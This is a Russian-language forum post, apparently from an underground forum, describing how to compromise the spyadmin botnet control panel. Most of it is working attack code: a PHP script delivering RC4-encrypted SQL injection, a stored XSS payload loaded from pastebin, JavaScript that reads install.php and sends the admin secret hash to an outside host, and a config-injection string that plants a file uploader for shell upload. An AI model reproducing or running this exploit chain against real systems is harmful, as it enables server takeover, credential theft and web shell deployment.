Скрыть объявление
Для безопасных сделок с продавцами рекомендуем пользоваться Гарант сервисом

SQLi -> XSS -> shell upload на примере spyadmin

Тема в разделе "Безопасность при работе в интернете", создана пользователем Musolini, 8/8/17.

  1. Musolini

    Musolini dark-service.xyz
    VIP Внесен депозит 2500$ Проверенный продавец

    Сообщения:
    2.262
    Симпатии:
    465
    Не так давно мне попалась панелька очередного бота, сделанного на основе TeamViewer. Авторы сего чуда - spyadmin.com (они же vzlomov.com) уже давно в блеках, поэтому можем себе ломать сколько влезет (законом не запрещено и на 95% безопаснее, чем ловить покемонов в церкви).

    Структура такая:

    [​IMG]

    Если вкратце:

    config.php - подключение к бд, настройки логина/пароля
    getinfo.php - гейт для ботов
    index.php - сама панель
    install.php - редактирование настроек
    lang.php - языки.
    setcmd.php - отправка команд ботам.

    В папках ничего особенного - стили, js, картинки.

    SQL-инъекция

    Для начала, было решено просмотреть код гейта. Как назло, практически все параметры фильтровались. Разработчик совершил только две ошибки:

    Код:
    $bot_uniq = $GET["uniq"]; // TV UNIQ
    $bot_id = $GET["id"]; // TV ID

    //Ошибка №1. Условие могло бы быть и чуть построже.
    if(!isset($bot_id) || strlen($bot_id)<9) exit;

    //И чуть ниже
    if(!isset($bot_uniq))
    {
    $bot_uniq = $bot_id;
    //Ошибка №2. Отсутствует фильтрация переменной $bot_uniq
    $update_result = mysql_query('UPDATE `'.$cfg_tbl_name.'` SET bot_uniq = "'.$bot_uniq.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"');
    }
    Но и этих двух ошибок хватило нам с лихвой. Выполнение SQL-инъекции немного затруднял тот факт, что все данные идущие в гейт должны были быть зашифрованы с помощью RC4.

    В итоге я набросал небольшой скрипт для работы с SQL-инъекцией:

    Код:
    <?php
    function rc4($key, $str){
    $s = array();
    for ($i = 0; $i < 256; $i++) {
    $s[$i] = $i;
    }
    $j = 0;
    for ($i = 0; $i < 256; $i++) {
    $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
    $x = $s[$i];
    $s[$i] = $s[$j];
    $s[$j] = $x;
    }
    $i = 0;
    $j = 0;
    $res = '';
    for ($y = 0; $y < strlen($str); $y++) {
    $i = ($i + 1) % 256;
    $j = ($j + $s[$i]) % 256;
    $x = $s[$i];
    $s[$i] = $s[$j];
    $s[$j] = $x;
    $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
    }
    return $res;
    }

    $spyadmin_domain="example.com";
    $spyadmin_gate="http://".$spyadmin_domain."/getinfo.php";

    //UPDATE `bot` SET bot_uniq = "'.%inject_here%.' WHERE bot_id = "'.mysql_real_escape_string($bot_id).'"
    $sqlinject = "\" WHERE bot_id=-1 or SLEEP(10) #";

    $request = "id=".$sqlinject."\nuname=123";
    $data = strtr(base64_encode(rc4($spyadmin_domain, $request)), '+/=', '-_,');

    $postdata = http_build_query(array('r' => $data,));

    $opts = array('http' =>
    array(
    'method' => 'POST',
    'header' => 'Content-type: application/x-www-form-urlencoded',
    'content' => $postdata
    )
    );
    $context = stream_context_create($opts);
    $result = file_get_contents($spyadmin_gate, false, $context);

    echo "\n[ Done! ]\n";
    echo $result;
    В принципе, можно было бы играть в угадайку и за пару часов получить все Bot ID. Пароль по умолчанию, для всех ботов был одинаковый. Но к счастью, была возможность изменять данные в БД, и поэтому был найден более короткий способ получения тотального контроля над админкой.

    XSS

    Почти как и в случае с SQLi, в панели (index.php) практически все переменные фильтровались. Исключение составляли лишь $bot_comment, $bot_username, $bot_compname (почему - непонятно). Немного меняем код в прошлом скрипте (чтобы вывести document.cookie):

    Код:
    $sqlinject = "\" , bot_comment='<script src=\"http://pastebin.com/raw/DMRtwJYq\"></script>' #";
    Запускаем скрипт, заходим в админку:

    [​IMG]

    Великолепно. По идее, остается только отправить куки на свой сниффер...
    Но не тут то было:

    Код:
    $chk_cook = $_COOKIE["t_login"];
    if($chk_cook!=md5($cfg_secret_hash.$_SERVER[REMOTE_ADDR]."tvrloginsalt"))
    {
    // Please login...
    }
    Есть привязка к IP, а значит, просто куки воровать смысла нет. Необходимо получить значение переменной $cfg_secret_hash, которая лежит в файле config.php. И которую можно изменить с помощью файла install.php.

    Воруем значение переменной из install.php с помощью такого кодеса:

    Код:
    var xhttp;
    if (window.XMLHttpRequest) {
    xhttp = new XMLHttpRequest();
    } else {
    // code for IE6, IE5
    xhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    var stringer = document.createElement('div');

    xhttp.open("GET", "install.php", false);
    xhttp.send();
    var stringer = xhttp.responseText;
    var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/);

    // Для теста
    //alert(res[1]);

    // Чтобы украсть
    new Image().src = 'lebron.james
    Пихаем все это на pastebin, и скармливаем с помощью SQLi админке.

    Как только администратор ботнета зайдет в панель, нам придет секретный хеш. И теперь у нас есть все, чтобы зайти в админку - генерируем хеш, подставляем его в куку to_login и заходим.

    Shell Upload

    Еще раз обращаем внимание на install.php. Код там просто потрясающий:

    Код:
    $locationdb = $_POST["locationdb"];
    $logindb = $_POST["logindb"];
    $passdb = $_POST["passdb"];
    $namedb = $_POST["namedb"];
    $nametbldb = $_POST["nametbldb"];
    $loginadm = $_POST["loginadm"];
    $passadm = $_POST["passadm"];
    $hashadm = $_POST["hashadm"];
    $mytimezone = $_POST["timezone"];

    // ... немного кода...

    $file = 'config.php';
    unlink($_SERVER['DOCUMENT_ROOT'].'/config.php');
    $writecfg = "<?php\r\n";
    $writecfg .= "\t\$cfg_admin_login\t= '".$loginadm."'; // admin panel login\r\n";
    $writecfg .= "\t\$cfg_admin_passwd\t= '".$passadm."'; // admin panel password\r\n";
    $writecfg .= "\t\$cfg_secret_hash\t= '".$hashadm."'; // admin panel secret hash\r\n";
    $writecfg .= "\r\n";
    $writecfg .= "\t\$cfg_localhost\t\t= '".$locationdb."'; // MySQL location\r\n";
    $writecfg .= "\t\$cfg_username\t\t= '".$logindb."'; // MySQL login\r\n";
    $writecfg .= "\t\$cfg_passwd\t\t\t= '".$passdb."'; // MySQL password\r\n";
    $writecfg .= "\t\$cfg_bd_name\t\t= '".$namedb."'; // MySQL BD name\r\n";
    $writecfg .= "\t\$cfg_tbl_name\t\t= '".$nametbldb."'; // MySQL table name\r\n";
    $writecfg .= "\r\n";
    $writecfg .= "\t\$cfg_time\t\t\t= '".$mytimezone."'; // TimeZone\r\n";
    $writecfg .= "?>";
    file_put_contents($file, $writecfg, LOCK_EX);
    Мы редактируем конфиг:

    [​IMG]

    В любое поле, после обычного значения, добавляем:

    Код:
    ';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='
    Сохраняем. Переходим по адресу upload.php и спокойно заливаем шелл.

    Все вместе

    Теперь мы соединим все вместе: с помощью SQL-инъекции внедряем XSS, потом крадем данные со страницы install.php и заливаем шелл.

    Заливаем этот js-код на какой-нибудь шелл:

    Код:
    var xhttp;
    if (window.XMLHttpRequest) {
    xhttp = new XMLHttpRequest();
    } else {
    // code for IE6, IE5
    xhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    var stringer = document.createElement('div');

    xhttp.open("GET", "install.php", false);
    xhttp.send();
    var stringer = xhttp.responseText;

    var res = stringer.match(/name="locationdb" class="txt" value="(.*?)"/);
    locationdb = res[1];

    var res = stringer.match(/name="logindb" class="txt" value="(.*?)"/);
    logindb = res[1];

    var res = stringer.match(/name="passdb" class="txt" value="(.*?)"/);
    passdb = res[1];

    var res = stringer.match(/name="namedb" class="txt" value="(.*?)"/);
    namedb = res[1];

    var res = stringer.match(/name="nametbldb" class="txt" value="(.*?)"/);
    nametbldb = res[1];

    var res = stringer.match(/name="loginadm" class="txt" value="(.*?)"/);
    loginadm = res[1];

    var res = stringer.match(/name="passadm" class="txt" value="(.*?)"/);
    passadm = res[1];
    passadm = passadm + "';file_put_contents('upload.php','<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit></form><?php if(is_uploaded_file($_FILES[f][tmp_name])){ move_uploaded_file($_FILES[f][tmp_name], $_FILES[f][name]);}?>'); $a='";

    var res = stringer.match(/name="hashadm" class="txt" value="(.*?)"/);
    hashadm = res[1];

    xhttp.open("POST", "install.php", false);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send("install=1&locationdb="+ locationdb +"&logindb=" + logindb +"&passdb="+ encodeURIComponent(passdb)+"&namedb="+ namedb +"&nametbldb="+ nametbldb +"&loginadm="+ loginadm +"&passadm="+ encodeURIComponent(passadm) +"&hashadm="+ hashadm+"&timezone=Europe%2FMoscow");
    И внедряем его ранее описанным методом. Стоит заметить, что не надо выбирать для хранения сайты с самоподписанными сертификатами или крупные сервисы, типа pastebin - в обоих случаях код может просто не сработать. Как только ботовод зайдет на страничку, в корне будет лежать заливка файлов. При желании можно изменить код, и сразу лить шелл.

    Я даже не упомянул о корявой LFI, нескольких CSRF и прочих мелочах, как мне кажется, вышеописанного и так достаточно. Вот так, легко и просто, можно попасть в админку бота, который продавался (и все еще продается) за 500$. Или, если посмотреть с другой стороны, за свои же деньги можно прикупить себе соседа - кидалу, мента, кребса. Я заранее соглашусь, что шанс такого расклада невелик, но зачем лишние риски?

    Есть ли у Вас уверенность в том, что софт который вы используете сейчас, более защищен, чем spyadmin?
    © Lebro
     

Поделиться этой страницей